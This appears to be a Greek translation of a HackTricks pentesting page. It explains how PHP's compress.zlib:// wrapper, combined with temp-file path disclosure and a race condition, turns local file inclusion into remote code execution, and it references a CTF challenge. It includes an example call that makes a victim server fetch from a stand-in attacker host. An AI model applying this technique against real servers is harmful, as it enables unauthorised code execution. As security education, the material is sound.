hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

6.3 KiB
Raw Blame History

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

compress.zlib:// και PHP_STREAM_PREFER_STDIO

Ένα αρχείο που ανοίγει χρησιμοποιώντας το πρωτόκολλο compress.zlib:// με τη σημαία PHP_STREAM_PREFER_STDIO μπορεί να συνεχίσει να γράφει δεδομένα που φτάνουν στη σύνδεση αργότερα στο ίδιο αρχείο.

Αυτό σημαίνει ότι μια κλήση όπως:

file_get_contents("compress.zlib://http://attacker.com/file")

Θα στείλει ένα αίτημα ζητώντας το http://attacker.com/file, στη συνέχεια ο διακομιστής μπορεί να απαντήσει στο αίτημα με ένα έγκυρο HTTP αποτέλεσμα, να διατηρήσει τη σύνδεση ανοιχτή και να στείλει επιπλέον δεδομένα αργότερα που θα γραφούν επίσης στο αρχείο.

Μπορείτε να δείτε αυτές τις πληροφορίες στο τμήμα του κώδικα php-src στο main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Αγωνιστική Κατάσταση για Αποκτηση Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)

Αυτό το CTF λύθηκε χρησιμοποιώντας το προηγούμενο κόλπο.

Ο επιτιθέμενος θα κάνει το θύμα server να ανοίξει μια σύνδεση για να διαβάσει ένα αρχείο από τον server του επιτιθέμενου χρησιμοποιώντας το πρωτόκολλο compress.zlib.

Ενώ αυτή η σύνδεση υπάρχει, ο επιτιθέμενος θα αποκτήσει τη διαδρομή προς το προσωρινό αρχείο που δημιουργήθηκε (αποκαλύπτεται από τον server).

Ενώ η σύνδεση είναι ακόμα ανοιχτή, ο επιτιθέμενος θα εκμεταλλευτεί μια LFI φορτώνοντας το προσωρινό αρχείο που ελέγχει.

Ωστόσο, υπάρχει ένας έλεγχος στον web server που αποτρέπει τη φόρτωση αρχείων που περιέχουν <?. Επομένως, ο επιτιθέμενος θα εκμεταλλευτεί μια Αγωνιστική Κατάσταση. Στη σύνδεση που είναι ακόμα ανοιχτή, ο επιτιθέμενος θα στείλει το PHP payload ΜΕΤΑ το web server να έχει ελέγξει αν το αρχείο περιέχει τους απαγορευμένους χαρακτήρες αλλά ΠΡΙΝ φορτώσει το περιεχόμενό του.

Για περισσότερες πληροφορίες, ελέγξτε την περιγραφή της Αγωνιστικής Κατάστασης και του CTF στο https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: